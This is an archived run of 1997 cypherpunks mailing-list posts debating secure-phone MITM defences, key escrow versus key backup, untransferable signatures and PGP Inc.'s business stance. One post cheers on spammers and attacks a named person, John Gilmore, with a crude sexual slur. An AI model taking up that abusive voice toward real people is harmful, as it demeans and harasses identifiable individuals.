how much extra this would cost.  Apart from an EEPROM, it's a protocol
and software update right?

> 2.  I had problems with UUCP when my machines got out of sync (way back
> when.)  Just think how bad they'll look if they refuse to light up "secure"
> because one guy had to change batteries.

Use an EEPROM?

> I agree with you that external authentication is the only way to
> fly.  And if it is simply accepted, lets let Eric's unit survive
> unmolested and use PGP out-of-band (as per Monty's suggestion) or
> use PGP to exchange session keys (like in Speak Freely.)

> I also think the most likely avenue of attack will be a black bag
> job on the individual user's phone.  MITM attacks seem too risky and
> expensive to pay off.

For individuals perhaps.  For military intelligence or mafia boss type
uses perhaps not.  

Or perhaps not for lower security apps too: buy a small landline phone
to use as a handset, carry your box with you every where you go, never
let it out of your sight, move around a lot, hotel rooms, anywhere
else random you can get a phone jack socket.  I reckon there would be
potential clients who might fit this life-style.


On the cost front, I am interested as to thoughts on how easy it would
be for Eric to put one of his phones on a PCI card, or PCMCIA card.
Presumably you could make some major cost savings in this way, in that
you could potentially use the computers modem, memory, processor.

PGP Inc's pgpfone I think is sort of compatible with Eric's phone.
However pgpfone audio quality _sucks_.  (Admittedly one end was using
a 14.4k modem when I tried it -- but it was _terrible_, even no
encryption was fairly bad).

I think Eric's phone uses a 14.4k modem chip (or lower?) so it's not
the bit rate as such, but more the lack of higher quality audio
compression codecs which are possible in hardware.  (Right?)  

Also the fact that with PGPfone you're using PC speakers, and room
microphone probably makes it seem worse than it could be.

A socket to plug a phone into to act as a speaker/microphone would be
a good start, plus the audio codec part of the Eric's hardware.

Now what do you reckon you could get the price of that down to?


How would that work out with a PCMCIA card... I'm thinking of laptops using
GSM mobile phones data links, what would the audio quality be like over the
9600 bit data rate over a GSM mobile phone? If it could work it would be
neat as you'd have a fully mobile secure phone.  Better than Jim McCoy's
cell phone strapped to his laptop: secure phone PCMCIA card in one PCMCIA
slot, PCMCIA modem in the other slot, mobile phone plugged into PCMCIA
modem, al-cheapo phone handset plugged into secure phone PCMCIA card. 
Tangle of wires, but still neat.  Pity GSM phones don't have audio in, and
mike out jack sockets, which get selected when you plug in the data lead,
or you could use the GSM phone handset.

Course adding the whole lot to a GSM phone would be even neater, but
then that'd get expensive again.  Wonder how much functionality could
be borrowed from components already present for the normal GSM phone
hardware, and how much saving you could get from that.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 11 Oct 1997 05:44:58 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <b05fb56f192e6ba0f7bd244ee561bbaa@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Anonymous wrote:
>> (untransferable signatures)
>
>This is also a good idea, but it needs more work, too.  There is a
>big education problem here.  People barely understand the
>implications of regular digital signatures.  Now you are throwing
>this new kind in, which guarantee the message came from another
>person, but aren't binding.  What happens when an employee receives a
>message from a supplier signed with that kind of signature?  Can he
>make a decision on that basis, or not?
>
>In paper business correspondence, there is no such distinction.  A
>signed letter is transferable.  Go beyond this and business will be
>scratching its heads.  It's a solution looking for a problem.

How about arbitration?  Two parties may wish to make an agreement to
be judged by an arbitrator of their choosing.  In certain cases, the
State can be expected to intervene.  If only the arbitrator knows the
signatures to be valid, the State has no fair basis on which to make
an intervention.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBND5vYpaWtjSmRH/5AQGzygf/TdMgevKLw87e6ZtJ6++pyrOKliu/OunT
Z4uxcWzDGPEcyNchhOsb6B+NSOehcgvqIhxs4NNTJqMVICiJCBhBTZlsQt7bW6kq
Ayz62YWFZZeMcYbsP87FmuGLxsyh/wW2Nh/s80J9obS6vn7HQJBUp/Ox7Ho9RPIp
bdijOAw6nxtPt0SWcr38F8XVj/XpqA768nn5uWwdtd2aCAIQf7uLE7poZLVL7+UQ
VMiHlgsRIlcHEakNbCExrBTuyCzyoKo5LY+PPzlLCTC93rzXyPIdO8Ain6p49qa5
i/7z+WbT8powUsmwj5BEfPSKOo1CcuHfdAUgeSI4JawfhqYJAnzpRg==
=m09K
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Sat, 11 Oct 1997 09:13:50 +0800
To: cypherpunks@cyberpass.net
Subject: Attitude and Assumptions
Message-ID: <3.0.3.32.19971010180024.00ad8ce0@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

In the course of all the discussion here, I have seen a number of implicit
attitudes and assumptions that irritate me. This is a short rant to air my
irritation.

The first thing that bugs me is what I'm calling Crypto-Correctness. I
don't know a single person on cypherpunks who is against privacy, or is
against the notion that in the information society, keeping and bearing
crypto is an inalienable human right. Politically, I'm a Lockeian, and put
privacy up there with Locke's basic trio of life, liberty, and property. As
part of this, I fight the stupid notion that because there are bad people
out there, rights should be abridged. 

Crypto is a tool, and nigh any useful tool can be misused. If we let that
fact stop us from making tools, we'd be using nerf axes and dressing in
bubble wrap. If we let the fact that bad guys are using our stuff bother us
too much, we'd be against privacy.

Here at PGP, we like to make hay out of the fact Burmese freedom fighters
use PGP. A while ago, Tim May sent out something in which he stated that
Hamas uses PGP, making the very valid point that one person's freedom
fighters are another person's terrorists. He implied that they're not using
just to tell each other where the best hummous shops are, and I don't doubt
it. I like to say (now that I'm no longer an arms maker) that we are like
the Red Cross in that the Red Cross gives medical attention to everyone,
regardless of their moral worth; we supply privacy software to everyone,
regardless of their moral worth. In the days when crypto was a munition, I
used Winchester as a metaphor, complete with Sarah's cute bungalow.

In its milder forms, Crypto-Correctness thinks that if a bad guy is using
crypto, then it's a mitigating factor on what they're doing. I can see that
it might come from not liking tack-on laws like the clause in the present
bill that makes using crypto to hide a crime illegal. This is deplorable.
But using crypto doesn't make something good.

In some of its other forms, it pushes into what I perceive as
Crypto-Socialism. We just shrug if suicide bombers or paparazzi are using
crypto, but if a property-owner wants to use it, you can just hear the
sharp intake of breath. If that property-owner is Big Business, there are
howls of indignation. I get the impression that some people think crypto
should only be produced by non-profit organizations for the use of
non-profit organizations, or those that had the common decency to get their
profits illegally. 

The next thing that bugs me is that the government has us so scared of our
shadows that we look askance at anything that might make crypto
mass-market. Right now, crypto is rocket science. Many of the people who
need it most are only going to understand it after years of
acclimatization. The sorts who inhabit the nightmares of tech-support
people are going to take at least one more turn of the wheel of Maya to get
it.

I think a lot of people here think that blade guards on crypto in any form
is stark moral evil. You lost your data? Good. Shows you're not worthy. You
shouldn't have data anyway. Information is property, and property is theft.
In the crypto-anarchist future, after the withering away of the state, you
won't need property anyway. I suppose we'll all just eat e-cash.

I really believe that this panicked, bunker-mentality fear of anything that
might complicate the system with blade guards is doing the cause of freedom
a sever disservice. Business people are subjected to a lot of the asinine
annoyances and minor evils that government brings, too. If we get them on
our side, they will be a powerful ally.

I believe that the central thesis of crypto-freedom is that it doesn't
matter if a document is on paper or in a text file; it doesn't matter if a
conversation is on the phone or in a restaurant. The medium doesn't matter.
My papers and effects have the same protection on a disk as on paper itself.

We all know that deployment is the key. But real deployment means deploying
to people who don't know how their toaster works, too. If we don't solve
this problem, we'll get hit with the backlash. Just you wait, once crypto
becomes trendy, there will be a Time cover story with some headline like,
"How Much Privacy is Enough? Who's Really After You, Anyway?" and in it
will be sob stories about how people lost their passphrases, were
blackmailed by employees (ask me, I have real-world tales of this), or
can't decrypt their backups. Congress will have hearings, and they aren't
going to be fun to watch. Is trying to head this eventuality off (yes, I
believe it's inevitable) really the work of Satan?

The last thing that really, really bugs me is the hostility that's directed
towards PGP Inc. because now we're an Inc.

The core group of people who are here are the same people they always were,
they're just being paid now. I'd love to be independently wealthy and do
this for the crypto-anarchist, non-profit joy of it, really I would. But
you know, as the great crypto-socialist Balzac said, "behind every great
fortune, there is a great crime" so I suppose we must be up to no good.

This is a blues riff, so let me tell you how we've paid our dues before I
get to the chorus:

We published our source code. One of our potential partners said and I
quote, "Are you mad?"

We stand firm on the issue of No Weak Crypto. A noted GAK proponent asked
me at a conference, "Aren't you folks going to do an export version?" I
replied, "Sure we are." This person asked, "When?" I said, "The day after
the law changes." 

We put out a freeware product, hoping people will upgrade to the for-pay
version. If you're thinking of your own startup, let me give you some
investment advice: the crowd who thinks the X-files is a documentary
doesn't upgrade to the for-pay version.

We started an IETF working group that will take our core technology and put
it out for anyone to use. They will own change control. We won't be able to
use any patents or intellectual property to enhance our business position.
We won't be able upgrade the protocol without a vote.

The only thing we offer as a selling point is our superb engineering and
our good name. The business version is funding the rest of the ball of wax.
Are you afraid we'll make a deal with the devil? I have two comments on that:


(1) I work in Silicon Valley. I tell headhunters, "no thank you" every
week. I took a pay cut to come here. I can get a 20% raise by going to
WebFoo any time I want. My options aren't worth what I would have gotten as
a layoff package had I stayed at Apple. If I send out an email message that
provides "technical support" to furriners, I could land in jail. I'm here
because I care. Ask the people here who left behind Cisco options at 40 if
they care.

(2) There's one surefire way to make sure we don't make any deals with the
devil. Buy the product. Encourage your friends, your mother to buy the
product. If you see someone who is using the freeware version, send them a
polite message to buy the product. Buy one and send it to your
congresscritter. If you don't, what you're saying is, "crypto-freedom is
very important to me, as long as I don't have to spend $49 on it." Convince
your employer that $119 isn't too much to pay for meta-introducers. Make
the crypto market so hot that someone competes with us by being badder than
us.

Oh, yeah, baby, I got them crypto-startup blues.

	Jon




- -----
Jon Callas                                  jon@pgp.com
Chief Scientist                             555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                   Suite 570
(415) 596-1960                              Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)


-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBND7PCH35wubxKSepEQKD9QCgwPoRbXSHyueb9U4fLztaQkAKLlQAoNdC
kX1gOsFsBZ6YDtC9AX5X/VU9
=IiAC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 11 Oct 1997 00:52:08 +0800
To: cypherpunks@toad.com
Subject: Re: Thanks Peter! / Re: russia_1.html
Message-ID: <199710101639.SAA26517@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed. Oct 8, Human Gus-Peter wrote: 

>   Tell Declan that he should probably go visit his mom, or something,
> like next Friday, until at least Monday (because that's when my mom
> leaves Washington, 'you know where.'--{boy, is *she* going to be
> sorry she grounded me on my uncle's weekend away from the 'Home'.})
> 
>   My uncle's going to be mad when he finds out I took his suitcase,
> but he couldn't even get his Heathkit radio to work, and I *almost*
> did. Besides, you should never trust anyone over fifteen, eh?
> (And these things are dangerous in the wrong hands, eh?)

On Fri, Oct 10, Declan wrote:

> The Netly News Network (http://netlynews.com/)
> October 10, 1997
> 
> The Globalization of Chile
> By Declan McCullagh (declan@well.com)
> 
>         The wires are clogged again in Chile, a country with no shortage
>    of Net-enthusiasm but little way to express it. Bandwidth is so
>    limited in this remote country, which stretches almost to Antarctica,
>    that local netizens wake up early or stay up late to log in (this
>    report had to be filed via fax). 

Staying until Monday, Declan?

Little Peter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Oct 1997 11:20:09 +0800
To: cypherpunks@toad.com
Subject: Re: Spammers Plan Backbone
In-Reply-To: <199710101846.LAA25809@adnetsol.adnetsol.com>
Message-ID: <TssDee2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Ross Wright" <rwright@adnetsol.com> writes:

> 
> 
> http://www.zdnet.com/chkpt/adt1010nk/www.anchordesk.com/story/story_1343.html
> 
> Yippie! Spam wars intensify as bulk emailers plan own Internet
> backbone. AOL, other ISPs threaten to fight back.
> 
> Spam is FREE SPEECH!!!!
> 
> 
> =-=-=-=-=-=-
> Ross Wright
> King Media: Bulk Sales of Software Media and Duplication Services
> http://www.slip.net/~cdr/kingmedia
> Voice: (408) 259-2795
> 

All power to the spammers!!!

Note that the corporate whores at EFF are preparing another assault
on free speach in the form of an "anti-spam" white paper.

Fuck the Gilmore cocksucker!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 11 Oct 1997 01:23:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: do NOT escrow communications keys
Message-ID: <199710101715.TAA00367@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

> I'm arguing that you should not backup, or escrow communications keys,
> and that you should backup storage keys.

Euphemism alert: when we are talking about the kind of data recovery
we like, we call it "backup".  When we are talking about the kind we
don't like, we call it "escrow".  Schneier did the same thing:

Bruce Schneier:
> Key escrow = someone other than the author or the intended recipient of the
> message being able to decrypt it.
>
> There are valid reasons for data backup, but they have nothing to do with
> crypto key recovery.

You don't actually mean that you should backup storage keys, you mean you
should provide a means for someone other than the user to decrypt that
stored data.  Schneier means the same thing with regard to "data backup".

> (forward secrecy)

This could be a good idea, particularly in terms of old keys leaking
out, but it needs more work.  It's not clear that any of the forward
secrecy methods will work for email.  You can't easily do a DH key
exchange via email because of the multiple messages.  Maybe you could
piggyback on ordinary messages, and after a few have been exchanged,
you can get a DH key for the next message, but this is very complicated.
Synchronization isn't guaranteed with email, neither is reliable delivery.

> (untransferable signatures)

This is also a good idea, but it needs more work, too.  There is a big
education problem here.  People barely understand the implications of
regular digital signatures.  Now you are throwing this new kind in, which
guarantee the message came from another person, but aren't binding.  What
happens when an employee receives a message from a supplier signed with
that kind of signature?  Can he make a decision on that basis, or not?

In paper business correspondence, there is no such distinction.  A signed
letter is transferable.  Go beyond this and business will be scratching its
heads.  It's a solution looking for a problem.

There may be patents on these technologies, too.

> (re-encrypting email with an escrowed key for archival)

This is going to require special archival software and special actions on
the part of users.  You won't be able to do it as a transparent plugin.
The user can't save his mail the regular way (with some email packages),
he has to remember to (also?) save it to the business access archive.
If he forgets, the business owner has lost access.  There will be
extra training costs, and people will have to change their habits.
Besides being more complex to design and implement, it will be harder
to sell to customers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 11 Oct 1997 07:30:22 +0800
To: Anonymous <cypherpunks@cyberpass.net
Subject: Re: America as a Shake Down Extortion State
In-Reply-To: <800ba9b5ce70bcdb069766023ed9e797@anon.efga.org>
Message-ID: <3.0.2.32.19971010192133.006a07c0@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:32 PM 10/10/97 -0400, Anonymous wrote:
>>Actually, I think it's a little more likely that they'll get disgusted with 

>>Congress, and collect some money for the ACLU to use to pay their lawyers 
in 
>>the instant filing of the consitutionality challenge.  
>>
>>Seems to be a much more productive way to spend your money (long-term).
>
>Bullshit!  Fuck the lawyers!
>
>By wasting time and money in the courts bickering about the stupid laws that 

>buffoons in Congress pass in order to justify their existence, we are only 
>ignoring the real issue: you cannot use the system to change the system.

That's the point - you ignore the legislation until it becomes a problem for 
you.  Then you challenge it and get a legal precedent to stop it from 
happening again.

The judicial system is in *much* better shape than the legislative system 
(even though they are strongly related)

This, however, is not to say that the judicial system is in good shape.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBND64fDc3ytqHnNyNAQFdUwP+NxJiiOfCxa8b6ONY0sLxFt8+NZBcf0fr
WkYH4xA33a+Q1B81YL0CNQqxRpVue+CWh0Qp1JLKIHZjKrI/hMHmo/znCpJO6uDP
4BRzq8LauWF8OTKT/r7Q2dJbqSs1ISb9FZE3FOYK0lb0By7w+TfiRXzUwTkYCH6E
7vKvV/4PsuU=
=5vpe
-----END PGP SIGNATURE-----


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 11 Oct 1997 16:41:17 +0800
To: Bill Frantz <kelsey@plnet.net
Subject: Re: Defeating MITM with Eric's Secure Phone
In-Reply-To: <199710091908.UAA00790@server.test.net>
Message-ID: <3.0.3.32.19971010195814.006b4024@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>> 1.	Exchange PGP-encrypted e-mail establishing a set of
>>> sixteen different words, labeled for 0..f in each direction.....
>>>  ``My checksum is Swordsman Swordsman Marxist, or 33f.''
That really does seem easier than all this checksum business;
if you're exchanging secrets anyway you could also type your
half-keys into some friendly application program, but this is fun.
On the other hand, for Alice's Fax Machine calling Bob's Fax Machine,
it's tougher to automate this stuff.  Does the phone have some way
to output the checksums to a data port for checking later?
(stuffing it into the fax header field would be a nice touch.)

> Either Mallory is in the middle or he isn't.  If he isn't, no problem.
> The word list remains secure.
>
>If he is in the middle, he has 15 chances in 16 of being caught on the
>first exchange.  He only survives if the first digit of the Alice-Mallory
>connection is the same as the first digit of the Mallory-Bob connection.

If there's a failure, you're going to burn this list anyway;
if Alice and Bob each read all their codewords, Mallory can trick them
about 1/16**6 times (1/16Million), which is pretty low -
Mallory learns up to six codewords, but they're only useful if
he doesn't get caught or if Alice and Bob decide to reuse the list
because they don't have a chance to exchange more email.
So if you're not worried about denial of service, catch him.
You do have to make sure Alice and Bob _notice_ they've been hosed;
you can get a bit fancier by using two lists, one for use 
in case of errors or other interruptions
Alice: Swordsman Swordsman Marxist  ->
Mallory: Marxist COUGH COUGH ->
		<- Bob: Dilbert Marxist Aardvark, and repeat please
		<- Mallory: Swordsman Dilbert COUGH, and repeat please
Alice: Swordsman Swordsman Marxist, sounds like you have a cold? ->
Mallory: Marxist Dilbert Aardvark, and I've got a cold too. ->

As opposed to 
		<- Bob: Bogus Suspicious Fnord, and repeat please
Alice: Swordsman Swordsman Marxist, and I've got a bad feeling about this....		

Even just using one list for Alice and one for Bob helps this attack.

>If Alice and Bob catch Mallory, they talk about the weather and exchange a
>new list by email.  If they don't, there is a very high probability that
>the word list has not been compromised, and they can safely continue to use
>it for the next call.

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 03:41:13 +0800
To: nobody@REPLAY.COM
Subject: Re: do NOT escrow communications keys
In-Reply-To: <199710101715.TAA00367@basement.replay.com>
Message-ID: <199710101928.UAA04746@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous <nobody@replay.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> 
> > I'm arguing that you should not backup, or escrow communications keys,
> > and that you should backup storage keys.
> 
> Euphemism alert: when we are talking about the kind of data recovery
> we like, we call it "backup".  When we are talking about the kind we
> don't like, we call it "escrow".
> 
> Schneier did the same thing:
>
> Bruce Schneier:
> > Key escrow = someone other than the author or the intended recipient of the
> > message being able to decrypt it.
> >
> > There are valid reasons for data backup, but they have nothing to do with
> > crypto key recovery.

It's getting difficult to speak English around here, what with the
GAKkers redefining the terms and issuing updates to the NewSpeak
dictionary every month or so.

"escrow" already meant an object kept safe for one's own benefit.  Or
it did, until the GAKkers perverted it, and redefined it's meaning to
be backdoor for another person or organisations benefit
(government/spook benefit in their case).

Key recovery sounds like the process of using your backup plan to
recover keys.  You would think it means a plan to recover your keys in
case you have a hard disk crash or whatever.  Again for your own
benefit.  But no, with another new edition of the newspeak dictionary
it suddenly means backdoor, master key for government or other
organisation to access your communications.

(I also might admit to a small amount of hyperbole, "dastardly evil
government/spook/TLA master backdoor access" as compared to "backing
up your hard disk now and then is a good idea".  But hey, that's the
way I feel about it.)

> You don't actually mean that you should backup storage keys, you
> mean you should provide a means for someone other than the user to
> decrypt that stored data.  

Thank you.  With the obvious caveat that any given user may not want
this, but that if you are holding information for other people, that
is the information is other peoples valuable property, and the machine
belongs to that other person too, then you might find it useful to
give them a copy of the storage encryption key in case of disaster.
In fact if they are employing you, and the machine is theirs they
might reasonably insist upon it.  You clearly have the option not to
store your own private information on the machine.  In fact your
employee may have policies discouraging you from doing so.

> Schneier means the same thing with regard to "data backup".

The point about using the terms "data backup" and "data recovery", is
that it attempts to highlight the falacy of the fundamental
misconception buzzing around, as a result of the lastest issue of the
newspeak dictionary released from DC, that it is "essential and in
companies interests to be able to recover transient messages".  This
is bogus.  What is important is recovering DATA (using your backup
tapes to "recover" your data, when you have a disk crash).

Jon Callas' attempted invocation of the "key recovery bad" / "data
recovery good" mantra, was somewhat amusing in that he _was_ arguing
for data recovery, whilst implementing key recovery (or at least
transient communication message recovery).

> > (untransferable signatures)
> 
> What happens when an employee receives a message from a supplier
> signed with that kind of signature?  Can he make a decision on that
> basis, or not?

The legal beagles at your company will decide a policy for you
designed to minimise your companies chances of being sued over the
contents of your communications, and hence losing it's shareholders
money.

> In paper business correspondence, there is no such distinction.  A
> signed letter is transferable.  Go beyond this and business will be
> scratching its heads.  It's a solution looking for a problem.

No, it's a solution to a problem.  It's a solution to the problem that
Tim just explored in more detail, and one that I gave a few short
comments upon in one of my posts in this thread.

If your company can't be proven to have authored a document, it
reduces the value of that the document to an opponent doing attempting
to do creative legal work and create a headache for you company when
your archives are requested in a discovery process.

> There may be patents on these technologies, too.

Don't think so.  It's simple enough technology.

> > (re-encrypting email with an escrowed key for archival)
> 
> This is going to require special archival software and special actions on
> the part of users.

Yes it'll need special archival software; but you're providing an
integrated business solution right.  PGP Inc's (are you a PGP
employee?), already includes a number of components.  Key server, SMTP
policy enforcer, PGP for business.  

I might also point out that the current PGP for CAKware (pgp5.5)
solution also has the same problem.  Just because the message is
encrypted to a second recipient, is no guarantee that the user is
archiving it for you.

Say the user receives some email which is hot, hot, hot, and
immediately purges it from the received folder on eudora, or netscape,
or PGP for business.  So, now what good is your CAKware going to do
for you?  You don't have the message.  Therefore you have the same
problem if you wish to guarantee access to messages.

> You won't be able to do it as a transparent plugin.  The user can't
> save his mail the regular way (with some email packages), he has to
> remember to (also?) save it to the business access archive.  

Look, I'm not in favour of CAK, or GAK, or any other snoopy business,
PGP are the ones arguing for that.

What I'm proposing is that firstly you don't encourage people to do
it.  But, if you're convinced that people will shop elsewhere unless
you do provide archival facilities readable by the company, and
snooping facilities, I'm arguing that you ought to do it in such a way
that the resulting system isn't useful for _Government_ access to
keys.

So given that set of criteria I think it's entirely reasonable to say
to clients who demand encrypted user archival:

- You'll need new email clients on all your desks

And reasonable to tell clients who demand that the archive be central,
(to prevent users deleting archived messages that don't suit them)
that:

- You'll need to buy the LAN archive server module also

I also think it's entirely reasonable to tell clients who demand
snooping:

- you're little brotherish SOBs
- the client will send your LAN archiver a copy after the user has decrypted
- the client will send you a copy of sent email prior to encryption

So, to answer:

> If he forgets, the business owner has lost access.  

He won't forget: it will be integrated into pgp5.6 "for business for
people who don't like GAK" PGP mail clients.

> There will be extra training costs, and people will have to change
> their habits.  

Well they're going to have to learn how to use pgp5.6, but frankly
it's just as easy to use as pgp5.0 for personal security.

> Besides being more complex to design and implement, 

Oh come on, I think PGP Inc will be able to hack it.  Most of the
design I already worked out for them in the last few posts.

> it will be harder to sell to customers.

And there's the rub.  What comes first: profits, or selling out to the
US government.

I'm sorry, but I think PGP has sold out on this one.


You can justify most of the aspects of the system I outlined in terms
of security.  It is more secure.  Using forward secrecy is more secure
again, and imposes the same restrictions anyway.  You can therefore
use the line:

- you want to marginally easier to integrate snooping at the expense
  of security?

- what if your competitors also get to read your communications?

Also, might carry some weight:

- PGP is the standard solution, it doesn't work that way, for security
  reasons.  If you use competitors products which do work that way,
  you'll be unable to communicate with the rest of the world

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 11 Oct 1997 09:19:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: FCPUNX:The Sovereign Individual - ignorant authors (fwd)
Message-ID: <199710110137.UAA24206@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 10 Oct 1997 15:28:31 -0700 (PDT)
> From: "James A. Donald" <jamesd@echeque.com>
> Subject: Re: FCPUNX:The Sovereign Individual - ignorant authors

> At 11:12 PM 10/9/97 -0500, Jim Choate wrote:
> > This chapter deals with various aspects of social issues (eg rise of
> > national languages) and how they led to the growth of nationalism in
> > general. Toward the end of the chapter (pp. 265 in the hardback) these
> > idiots (don't know a better term) actualy have the audactity to claim that
> > Stephen Jay Gould is a neo-creationist,
> 
> This appears to me to be an accurate depiction of Stephen Jay Gould's
> views.  He claims that humans are fundamentally different from other
> animals in this regard, and has frequently been ridiculed on this account.
> 
> I have read some of his writings, for which he was ridiculed, and the
> ridicule and contempt appears justified to me.

Well apparently you didn't comprehend what he was saying any better than the
authors of the book or your experts. However, I have no intention of bringing
this discussion onto the list past this responce. If you, or anybody else,
would like to see Gould's refutation of this claim in his own words then
refer to:

Scientist Confront Creationism
ed. L.R. Godfrey
ISBN 0-393-30154-0

Chpt. 8.
Darwin's Untimely Burial - Again!
pp. 139

This volume is a collection of articles by 15 of the top evolutionary
theorist (not all biologist) in the field. Worth the $7.95 this little book
costs.

You might also want to read "The Mismeasure of Man" (again).

> I have read a fair bit of Gould.  His work on the evolution of non humans is 
> perfectly plausible though controversial.
> 
> His work on humans is shear crap and is not regarded by the relevant experts
> in the relevant fields as legitimate science.  

[rhetorical questions, please don't send responces]

So your premise is that the evolutionary processes which form non-humans are
not the same forces acting on humans? You seriously mis-understand not only
Gould but modern evolutionary theory in toto. Sounds like you and not Gould
have embraced neo-creationism.

What relevant experts? THE relevent expert in evolutionary biology is Ernst
Meyr. Are you claiming that Meyr doesn't know what he is talking about?

Gould's premise, supported by Meyr and most other evolutionary biologist,
is that the human being is in fact a radicaly different animal than all
others. Not because of some magical force of transcendance but rather a
easily understand mechanism. The increase of cerebral capacity in concert
with exo-cerebral capacity (ie memory outside the brain), abstract
thinking, and language provide humans the tools to escape the purely
evolutionary process. Gould's claim, and what pisses so many people off, is
that man has reached a point where the major force in future development is
NOT evolutionary processes. It is quite similar to what happens when you have
10 computers sitting in a room and what happens when those 10 computers are
networked and given large hard-drives. 

You don't get evolution, you get revolution.
[that's as close to relevancy to this list as I can manage]


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 11 Oct 1997 09:39:28 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Attitude and Assumptions (fwd)
Message-ID: <199710110158.UAA24285@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 10 Oct 1997 18:00:24 -0700
> From: Jon Callas <jon@pgp.com>
> Subject: Attitude and Assumptions

> Crypto is a tool, and nigh any useful tool can be misused. If we let that
> fact stop us from making tools, we'd be using nerf axes and dressing in
> bubble wrap. If we let the fact that bad guys are using our stuff bother us
> too much, we'd be against privacy.

Tis better to let 10 guilty men go free than to imprison a single innocent
man.

> the Red Cross in that the Red Cross gives medical attention to everyone,

The Red Cross is a non-profit organization that supplies support and aid to
both sides. PGP Inc. does not - you don't make tools that crack crypto.
Bad analogy.

> The next thing that bugs me is that the government has us so scared of our
> shadows that we look askance at anything that might make crypto
> mass-market.

Can't say that I am motivated by this particular meme. I am ecstatic that
the company I work for in my day job (Tivoli Inc.) is coming out with a
series of security and crypto related products to be implimented by our
customers on a global enterprise level. None of which support GAK or backdoors.
Now whether our parent company IBM will have the cajones to carry through on
it is another question entirely. Exactly how we are going to sell these
products over-seas does concern me, especialy since our product is used by
